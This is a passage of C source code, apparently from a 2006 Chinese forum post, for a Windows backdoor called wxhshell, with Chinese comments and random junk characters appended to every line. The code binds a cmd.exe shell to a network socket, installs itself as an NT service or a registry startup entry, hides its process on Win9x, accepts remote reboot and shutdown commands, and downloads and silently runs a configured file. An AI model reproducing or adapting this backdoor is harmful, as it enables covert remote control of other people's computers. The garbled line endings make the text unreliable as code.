  // 帮助 }>|!Mf]W?R  
  case '?': { beN(7jo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q8^fgI|  
    break; _#2AdhCu  
  } ecjjCt2S  
  // 安装 9N?BWv }  
  case 'i': { DQ a0S7I  
    if(Install())  a1p}y2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Al}a`da  
    else <l,Kg 'v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2G4OK7x  
    break; e?"XMY  
    } X=Th  
  // 卸载 G"~%[k  
  case 'r': { 6,D)o/_  
    if(Uninstall()) Uz&XqjS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H%AF,  
    else fNkN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V6.w=6:`X  
    break; JkiMrpkuk  
    } ls<7Qe"a  
  // 显示 wxhshell 所在路径 'aFjyY?%  
  case 'p': { j![;;  
    char svExeFile[MAX_PATH]; 1E]|>)$  
    strcpy(svExeFile,"\n\r"); X9lh@`3  
      strcat(svExeFile,ExeFile); fT&>L  
        send(wsh,svExeFile,strlen(svExeFile),0); RkW)B^#  
    break; %#^)hX,+Q  
    } Z6Owxqfht  
  // 重启 Ul41R Ny)  
  case 'b': { ,2I8,MOg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c,\!<4  
    if(Boot(REBOOT)) \vU1*:3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0!^vQ  
    else { <o\2-fWvY  
    closesocket(wsh); jZ;dY~fE  
    ExitThread(0); jw^Pt~@  
    } -wqnmK+G  
    break; m3La;%aA0  
    } T==(Pw7R7  
  // 关机 rTR4j>Ua~  
  case 'd': { Ai 9UB=[R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W)0y+H\% r  
    if(Boot(SHUTDOWN)) kDrqV{_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m ^O9G?  
    else { WrS|$: 0  
    closesocket(wsh); }.uB6&!:  
    ExitThread(0); hkh b8zS  
    } JMnk~8O  
    break; %Q0J$eC  
    } Bx>)i8P7i0  
  // 获取shell "HuV'  
  case 's': { ##6_kcL:6G  
    CmdShell(wsh); R-8/BTls7  
    closesocket(wsh); le*1L8n$'  
    ExitThread(0); NvZ )zE  
    break; axRzn:f  
  } k>N >_{\  
  // 退出 E903T''s  
  case 'x': { S @EkrC\4n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .>K):|Opv  
    CloseIt(wsh); P [.BK  
    break; v0ng M)^q  
    } b0~AN#Es  
  // 离开 _-vf<QO]  
  case 'q': { E27N1J+1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;U +;NsCH  
    closesocket(wsh); q66+x)  
    WSACleanup(); LOD'iiH6  
    exit(1); e@-"B9~   
    break; ae)0Yu`*G7  
        } UHtxzp =[  
  } \Lz2"JI  
  } BZXP%{njS  
#b~wIOR)Z  
  // 提示信息 Llf |fayq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (ei;Y~i  
} >@2l/x8;  
  } Dn 6k,nVh  
`o9vE0^T<  
  return; W.xlS ZEB  
} F^ m`j6  
?D].Za^km  
// shell模块句柄 Pgy&/-u  
int CmdShell(SOCKET sock) +&W%]KEh  
{ m"2KAq61  
STARTUPINFO si;  M>mk=-l  
ZeroMemory(&si,sizeof(si)); v}=3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; reyN5n~4U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zS@"ITy  
PROCESS_INFORMATION ProcessInfo; $GzTDq Y9@  
char cmdline[]="cmd"; MI|51&m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _.xT :b36  
  return 0; YH VJg?H3  
} O};U3=^0f  
AnbY<&OC1  
// 自身启动模式 o@?3i+%}8  
int StartFromService(void) Fh XR!x^  
{ mulK(mp  
typedef struct C] <K s  
{ VQm)32'  
  DWORD ExitStatus; C-;y#a)  
  DWORD PebBaseAddress; \iQD\=o  
  DWORD AffinityMask; O1@-)<_71  
  DWORD BasePriority; ~ caKzq  
  ULONG UniqueProcessId; wAr (5nEbx  
  ULONG InheritedFromUniqueProcessId; ?fog 34g  
}   PROCESS_BASIC_INFORMATION; &CvNNDgrJ  
Xd_86q8o  
PROCNTQSIP NtQueryInformationProcess; VrF(0,-Z`3  
avR4#bfc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }lzyl*.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C043h?x  
` Nn^   
  HANDLE             hProcess; :*bmc/c  
  PROCESS_BASIC_INFORMATION pbi; Gs*FbrY  
U9D4bn D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {emO&#=@CP  
  if(NULL == hInst ) return 0; r( _9_%[  
Gy9+-7"V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uiO7sf6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W;]*&P[[   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,3G8afo  
`;7^@k  
  if (!NtQueryInformationProcess) return 0; DWB.dP *8  
G<kslTPyq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r5b5`f4  
  if(!hProcess) return 0; JM5 w`=  
i|X ;n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1 l'Wb2g>A  
%nJ^0X_]  
  CloseHandle(hProcess); IqK??KSC  
aU]A#g   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pYo]lO  
if(hProcess==NULL) return 0; VGoD2,(b^  
#>-_z  
HMODULE hMod; .Od.lxz"mp  
char procName[255]; n*6b*fl  
unsigned long cbNeeded; k+>-?S,  
AZ)H/#be  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @[0zZX2EE  
=`5Xx(  
  CloseHandle(hProcess); rn l~i  
*0)vsBi  
if(strstr(procName,"services")) return 1; // 以服务启动 6(4FC?Y7  
+'abAST t  
  return 0; // 注册表启动 :\x)`lu  
} N"2Ire  
|3f?1:"Z  
// 主模块 =6b^j]1  
int StartWxhshell(LPSTR lpCmdLine) [HB>\   
{ <d,Qi.G4  
  SOCKET wsl; xzg81sV7  
BOOL val=TRUE; 'c 0]8Y 4  
  int port=0; 1 dT1DcZ  
  struct sockaddr_in door; n?*Fr sZ  
z'K&LH  
  if(wscfg.ws_autoins) Install(); MXY[t  
d\}r.pD  
port=atoi(lpCmdLine); 'qS&7 W(  
3]BK*OqJ  
if(port<=0) port=wscfg.ws_port; X cmR/+  
'~ RP+  
  WSADATA data; DfP4 `  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q.0a0 /R  
q3\ YL?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <Q'J=;vV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !(PAUW S@  
  door.sin_family = AF_INET; NF <|3|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8 /1 sy.R  
  door.sin_port = htons(port); Zr,:i MPZ  
Al="ss&2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x@3Ix, b'  
closesocket(wsl); i-)OY,  
return 1; z{U2K '  
} \Tf845  
LutP&Ebt8  
  if(listen(wsl,2) == INVALID_SOCKET) { "ewSh<t  
closesocket(wsl); Fyy)665x/  
return 1; A+*M<W  
} d@~Hp?  
  Wxhshell(wsl); _,:gSDW|  
  WSACleanup(); VSa\X~  
?sV0T)uk  
return 0; F$P8"q+  
]6NpHDip1  
} iE$qq ~%  
m.ev~Vv~  
// 以NT服务方式启动 a#t:+iw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ].=&^0cg  
{ s86Ij>VLf  
DWORD   status = 0; 9 |v3lGK(  
  DWORD   specificError = 0xfffffff; ?s[ kUv+=  
uc]]zI6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -ju&"L B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1e.V%!Xk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m,KG}KX  
  serviceStatus.dwWin32ExitCode     = 0; XVcY?_AS#  
  serviceStatus.dwServiceSpecificExitCode = 0; cl kL)7RQ  
  serviceStatus.dwCheckPoint       = 0; Lu,72i0O ^  
  serviceStatus.dwWaitHint       = 0; Tg|0!0qD]F  
zKB$n.H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jhdo#}Ub  
  if (hServiceStatusHandle==0) return; R7u&`  
$d 2mcwh\  
status = GetLastError(); 1+|s   
  if (status!=NO_ERROR) t'Zq>y;yg  
{  nen(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +6tj w 6  
    serviceStatus.dwCheckPoint       = 0; ^6R?UG;6  
    serviceStatus.dwWaitHint       = 0; ?-w<H!Y7  
    serviceStatus.dwWin32ExitCode     = status; 4lMf'V7*l  
    serviceStatus.dwServiceSpecificExitCode = specificError; K TJm[44  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? S^ U-.`  
    return; rEEoR'c6  
  } (D5 dN\  
8."B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ha+)ZF  
  serviceStatus.dwCheckPoint       = 0; D?ojxHe  
  serviceStatus.dwWaitHint       = 0; +VxzWNs*JP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 34S0W]V  
} wp7<0PP  
 [@YeQ{  
// 处理NT服务事件,比如:启动、停止 Q!7il<S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A)"?GK{*  
{ ,@1rP55  
switch(fdwControl) ZoJ_I >uv  
{ [?z`XY_-  
case SERVICE_CONTROL_STOP: ~JhH ,E  
  serviceStatus.dwWin32ExitCode = 0; ASA ]7qyO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F uYjrzmx  
  serviceStatus.dwCheckPoint   = 0; OolYQU1_  
  serviceStatus.dwWaitHint     = 0; Aw#@}TGT  
  { c'#w 8 V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }ZaZPB/_}P  
  } /BEE.`6yI5  
  return; QP HibPP:  
case SERVICE_CONTROL_PAUSE: 1.29%O8V_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u7  s-  
  break; -\=s+n_ZP?  
case SERVICE_CONTROL_CONTINUE: F/33# U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VZhtx)  
  break; )Iu0MN&  
case SERVICE_CONTROL_INTERROGATE:  !4Q0   
  break; kucH=96  
}; r{oRN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *?Hc8y-dG,  
} aY:u-1  
9R$0[HbI3  
// 标准应用程序主函数 hO8~Rg   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) haNi [|  
{ 2>`m1q:  
~4-:;8a  
// 获取操作系统版本 C8dC_9  
OsIsNt=GetOsVer(); g"b{M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cX~J6vNy5  
a6Zg~>vX  
  // 从命令行安装 Klr+\R@(n  
  if(strpbrk(lpCmdLine,"iI")) Install(); #R^^XG`1  
T,G38  
  // 下载执行文件 )>-94xx|  
if(wscfg.ws_downexe) { -d'swx2aZ!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [%?ViKW  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZQ@ Ul  
} 3Lg)237&j  
4^*+G]]wZ~  
if(!OsIsNt) { B Oc2<M/\  
// 如果时win9x,隐藏进程并且设置为注册表启动 e'nhP  
HideProc(); /i:c!l9  
StartWxhshell(lpCmdLine); a ][t#`  
} \tCxz(vKz  
else /[V}   
  if(StartFromService()) I(rZ(|^A  
  // 以服务方式启动 u9c^:Op  
  StartServiceCtrlDispatcher(DispatchTable); Cpg>5N~;L  
else `2 6t+Tb  
  // 普通方式启动 J_-K"T|f  
  StartWxhshell(lpCmdLine); rJz`v/:|P  
>]dH1@@  
return 0; P:8 qm DXo  
}
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只看该作者 1 发表于: 2006-10-10
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